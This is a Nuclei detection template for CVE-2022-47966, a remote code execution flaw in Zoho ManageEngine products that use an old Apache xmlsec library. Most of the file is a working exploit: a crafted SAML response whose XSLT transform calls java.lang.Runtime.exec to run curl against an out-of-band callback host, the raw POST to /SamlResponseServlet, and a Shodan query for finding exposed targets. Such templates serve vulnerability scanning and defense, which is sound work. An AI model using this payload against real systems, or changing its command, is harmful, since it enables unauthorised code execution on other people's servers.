89 lines
4.2 KiB
YAML
89 lines
4.2 KiB
YAML
|
id: CVE-2022-47966
|
||
|
|
||
|
info:
|
||
|
name: ManageEngine - RCE
|
||
|
author: rootxharsh,iamnoooob,DhiyaneshDK
|
||
|
severity: critical
|
||
|
description: |
|
||
|
Multiple Zoho ManageEngine on-premise products, such as ServiceDesk Plus through 14003, allow remote code execution due to use of Apache xmlsec (aka XML Security for Java) 1.4.1, because the xmlsec XSLT features, by design in that version, make the application responsible for certain security protections, and the ManageEngine applications did not provide those protections.
|
||
|
reference:
|
||
|
- https://twitter.com/horizon3attack/status/1616062915097886732?s=46&t=ER_is9G4FlEebVFQPpnM0Q
|
||
|
- https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/
|
||
|
- https://www.manageengine.com/security/advisory/CVE/cve-2022-47966.html
|
||
|
metadata:
|
||
|
verified: "true"
|
||
|
shodan-query: title:"ManageEngine"
|
||
|
tags: cve,cve2022,rce,zoho,manageengine
|
||
|
|
||
|
variables:
|
||
|
cmd: '<?xml version="1.0" encoding="UTF-8"?>
|
||
|
<samlp:Response
|
||
|
ID="_eddc1e5f-8c87-4e55-8309-c6d69d6c2adf"
|
||
|
InResponseTo="_4b05e414c4f37e41789b6ef1bdaaa9ff"
|
||
|
IssueInstant="2023-01-16T13:56:46.514Z" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
|
||
|
<samlp:Status>
|
||
|
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
|
||
|
</samlp:Status>
|
||
|
<Assertion ID="_b5a2e9aa-8955-4ac6-94f5-334047882600"
|
||
|
IssueInstant="2023-01-16T13:56:46.498Z" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
|
||
|
<Issuer>a</Issuer>
|
||
|
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||
|
<ds:SignedInfo>
|
||
|
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
|
||
|
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
|
||
|
<ds:Reference URI="#_b5a2e9aa-8955-4ac6-94f5-334047882600">
|
||
|
<ds:Transforms>
|
||
|
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
|
||
|
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
|
||
|
<xsl:stylesheet version="1.0"
|
||
|
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
|
||
|
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
|
<xsl:template match="/">
|
||
|
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
|
||
|
<xsl:variable name="process" select="rt:exec($rtobject,"curl {{interactsh-url}}")"/>
|
||
|
<xsl:variable name="processString" select="ob:toString($process)"/>
|
||
|
<xsl:value-of select="$processString"/>
|
||
|
</xsl:template>
|
||
|
</xsl:stylesheet>
|
||
|
</ds:Transform>
|
||
|
</ds:Transforms>
|
||
|
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
|
||
|
<ds:DigestValue>H7gKuO6t9MbCJZujA9S7WlLFgdqMuNe0145KRwKl000=</ds:DigestValue>
|
||
|
</ds:Reference>
|
||
|
</ds:SignedInfo>
|
||
|
<ds:SignatureValue>RbBWB6AIP8AN1wTZN6YYCKdnClFoh8GqmU2RXoyjmkr6I0AP371IS7jxSMS2zxFCdZ80kInvgVuaEt3yQmcq33/d6yGeOxZU7kF1f1D/da+oKmEoj4s6PQcvaRFNp+RfOxMECBWVTAxzQiH/OUmoL7kyZUhUwP9G8Yk0tksoV9pSEXUozSq+I5KEN4ehXVjqnIj04mF6Zx6cjPm4hciNMw1UAfANhfq7VC5zj6VaQfz7LrY4GlHoALMMqebNYkEkf2N1kDKiAEKVePSo1vHO0AF++alQRJO47c8kgzld1xy5ECvDc7uYwuDJo3KYk5hQ8NSwvana7KdlJeD62GzPlw==</ds:SignatureValue>
|
||
|
<ds:KeyInfo/>
|
||
|
</ds:Signature>
|
||
|
</Assertion>
|
||
|
</samlp:Response>'
|
||
|
|
||
|
requests:
|
||
|
- raw:
|
||
|
- |
|
||
|
POST /SamlResponseServlet HTTP/2
|
||
|
Host: {{Hostname}}
|
||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
|
||
|
Origin: null
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||
|
Accept-Encoding: gzip, deflate
|
||
|
Accept-Language: en-US,en;q=0.9,ru;q=0.8
|
||
|
|
||
|
SAMLResponse={{url_encode(base64(cmd))}}&RelayState=
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
||
|
words:
|
||
|
- "dns"
|
||
|
|
||
|
- type: word
|
||
|
part: body
|
||
|
words:
|
||
|
- "Unknown error occurred while processing your request"
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 500
|